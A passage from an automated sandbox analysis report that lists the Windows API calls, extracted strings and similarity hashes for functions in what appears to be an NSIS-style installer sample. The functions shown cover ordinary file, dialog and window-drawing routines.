CloseHandle.KERNEL32(00000000), ref: 00405C05

Part of subcall function 004059E3: GetFileAttributesW.KERNEL32(00000003,00402DA9,00437800,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Strings

%ls=%ls, xrefs: 00405B03
8]B, xrefs: 00405A9A
NUL, xrefs: 00405A9F
[Rename], xrefs: 00405B77, 00405B89
8eB, xrefs: 00405AE4

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$8]B$8eB$NUL$[Rename]
API String ID: 1265525490-2949686642
Opcode ID: fe6212124c20aa7a949ef4aa6da6deeb019712e351ad6de50c3d19834e785aa9
Instruction ID: 0a051ccaee0c074b1a09a4e80aa922ec39551e5d9eafb60cec8afc598b306fa0
Opcode Fuzzy Hash: fe6212124c20aa7a949ef4aa6da6deeb019712e351ad6de50c3d19834e785aa9
Instruction Fuzzy Hash: BC412671605B14BBE2206B215C49F6B7A6CDF45728F14003AF901F62D2D67CBD018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281A0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction ID: 4121dad2538bec1171c888a02065f78bbc92972143ed5d2ae8151d97d00695b6
Opcode Fuzzy Hash: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction Fuzzy Hash: 68418A71804249AFDB058FA5DD459BFBBB9FF48310F00812AF951AA1A0C738EA51DFA5

Function 00404457 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004044A6
SetWindowTextW.USER32(00000000,?), ref: 004044D0
SHBrowseForFolderW.SHELL32(?), ref: 00404581
CoTaskMemFree.OLE32(00000000), ref: 0040458C
lstrcmpiW.KERNEL32(00427140,00422698,00000000,?,?), ref: 004045BE
lstrcatW.KERNEL32(?,00427140), ref: 004045CA
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004045DC

Part of subcall function 00405537: GetDlgItemTextW.USER32(?,?,00000400,00404613), ref: 0040554A

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,004031D7,00436800,74DF3420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,00434000,00436800,00436800,00000000,004031D7,00436800,74DF3420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,00436800,00436800,00000000,004031D7,00436800,74DF3420,004033B7), ref: 00406095

GetDiskFreeSpaceW.KERNEL32(00420668,?,?,0000040F,?,00420668,00420668,?,00000000,00420668,?,?,000003FB,?), ref: 0040469D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004046B8
SetDlgItemTextW.USER32(00000000,00000400,00420658), ref: 0040473E

Strings

A, xrefs: 0040457A
@qB, xrefs: 004045B8

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: @qB$A
API String ID: 2246997448-3464470947
Opcode ID: 668281cbb1a1bca9fe2ab6cdbcec13e7c0f733c30b05f3f358561a85ed904407
Instruction ID: 0c6fa40730a198f5f3b00d197b033e886b1b3680f215deb67d5ef6a97ab5c625
Opcode Fuzzy Hash: 668281cbb1a1bca9fe2ab6cdbcec13e7c0f733c30b05f3f358561a85ed904407
Instruction Fuzzy Hash: A79163B1900205BBDB11AFA1DC85AAF77B8EF85314F10847BF601B72D1D77C9A418B69

Function 00405D99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,00421678,?,00405058,00421678,00000000,00000000,?), ref: 00405E5C
GetSystemDirectoryW.KERNEL32(00427140,00000400), ref: 00405EDA
GetWindowsDirectoryW.KERNEL32(00427140,00000400), ref: 00405EED
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00405F29
SHGetPathFromIDListW.SHELL32(?,00427140), ref: 00405F37
CoTaskMemFree.OLE32(?), ref: 00405F42
lstrcatW.KERNEL32(00427140,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F66
lstrlenW.KERNEL32(00427140,00000000,00421678,?,00405058,00421678,00000000,00000000,?), ref: 00405FC0

Strings

@qB, xrefs: 00405FCB
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F60
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405EA8
@qB, xrefs: 00405DC3

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: @qB$@qB$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3979664334
Opcode ID: f493f2f44b5aba53667d27dbdef1c5594dcfff21b597d4d1ff9a7805494d454e
Instruction ID: 8be6bcb63ccaebc5f1bc3563bf1d434f80ac3f189a087fad5798c32c49afab67
Opcode Fuzzy Hash: f493f2f44b5aba53667d27dbdef1c5594dcfff21b597d4d1ff9a7805494d454e
Instruction Fuzzy Hash: 3661D271A00906ABEF209F25CC44AAF37A5EF54314F10813BE955BA2D0D73D5A81CF9E

Function 00402D69 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402D7A
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400,?,?,?,00000000,00403425,?), ref: 00402D96

Part of subcall function 004059E3: GetFileAttributesW.KERNEL32(00000003,00402DA9,00437800,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00402DE2

Strings

soft, xrefs: 00402E57
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402F41
Null, xrefs: 00402E60
Error launching installer, xrefs: 00402DB9
Inst, xrefs: 00402E4E
P~A, xrefs: 00402DF7

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$P~A$soft
API String ID: 4283519449-1910535513
Opcode ID: abdf6dc9aec78d787bca56cd4286c0aac7898623f056af6127e98b36157c78ec
Instruction ID: 9a0bc50dc50940ee2abb7c3ced767a556554b68a68c4a60a299fb88064fb1f26
Opcode Fuzzy Hash: abdf6dc9aec78d787bca56cd4286c0aac7898623f056af6127e98b36157c78ec
Instruction Fuzzy Hash: 88512871900205ABDB209F65DE89BAF7BB8EB14358F10403BF904B62D1C7B88D418BAD

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403003
GetTickCount.KERNEL32 ref: 00403084
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004030B1
wsprintfW.USER32 ref: 004030C4
WriteFile.KERNEL32(00000000,00000000,?,7FFFFFFF,00000000), ref: 004030F3

Strings

... %d%%, xrefs: 004030BE

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction ID: 2f3b8c8ab01821edfbb7561a0937ed23110cd7788458c70898d592dcb6d42ddc
Opcode Fuzzy Hash: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction Fuzzy Hash: 8A516D31900219ABCF10DF65D944AAF7BACAF48756F10413BE910BB2C0D7389E51CBA9

Function 00404023 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404040
GetSysColor.USER32(00000000), ref: 0040405C
SetTextColor.GDI32(?,00000000), ref: 00404068
SetBkMode.GDI32(?,?), ref: 00404074
GetSysColor.USER32(?), ref: 00404087
SetBkColor.GDI32(?,?), ref: 00404097
DeleteObject.GDI32(?), ref: 004040B1
CreateBrushIndirect.GDI32(?), ref: 004040BB

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 7833da122bd5b54dba07469e608d39c2309fd7833842469cb0c606e819627665
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: 5A2184B19047449BCB319F68DD08B5B7BF8AF40714F048A29EA95F22E0C738E904CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405A66: ReadFile.KERNEL32(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,00000004,00000000,00000000,00000000), ref: 00405A7A

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction ID: a762cbfc482fee2f38ad097521ed942063d68533c50e5d13a1d21fd8ed512a93
Opcode Fuzzy Hash: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction Fuzzy Hash: 2E51E671E04209ABDF24DF94DE88AAEB779FF14304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 8b451d8cd6622de32c99822e6237a0e7f9a50def39b2f4336cbc506680b9bad0
Instruction ID: 39eb73ea935b4093d5e0ae2fe9f4df3abe493bf7cf7ddc07517dddc298ecdb3a
Opcode Fuzzy Hash: 8b451d8cd6622de32c99822e6237a0e7f9a50def39b2f4336cbc506680b9bad0
Instruction Fuzzy Hash: 0531C272C00118BBDF11AFA5CE49DAF7E79EF08368F24423AF510762D0C6795E418BA9

Function 00405021 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
lstrlenW.KERNEL32(004030DB,00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,?,00000000), ref: 0040507C
SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 5311de40b5e01d4a13010175000a2bad7d1c43204c7bd2962c1bae2d6e379ef0
Instruction ID: 72d3c87754a4f2576c1daf3770cdfe6bbb79a9fd4797c08dd841ae8e1e27fedc
Opcode Fuzzy Hash: 5311de40b5e01d4a13010175000a2bad7d1c43204c7bd2962c1bae2d6e379ef0
Instruction Fuzzy Hash: AE219D71900518BBCB219F95DD84ADFBFB9EF45350F14807AF904B62A0C3798A41CFA8

Function 004048EB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404906
GetMessagePos.USER32 ref: 0040490E
ScreenToClient.USER32(?,?), ref: 00404928
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040493A
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404960

Strings

f, xrefs: 0040493C

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 5094cac0cfd66b0e8cfd3256396541bb223221662a15d93018ee399e52c78ab9
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: B9014071D00219BADB00DBA4DD45FFFBBB8AB95B21F10016ABB10B71C0C7B4A5018B95

Function 00402C7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
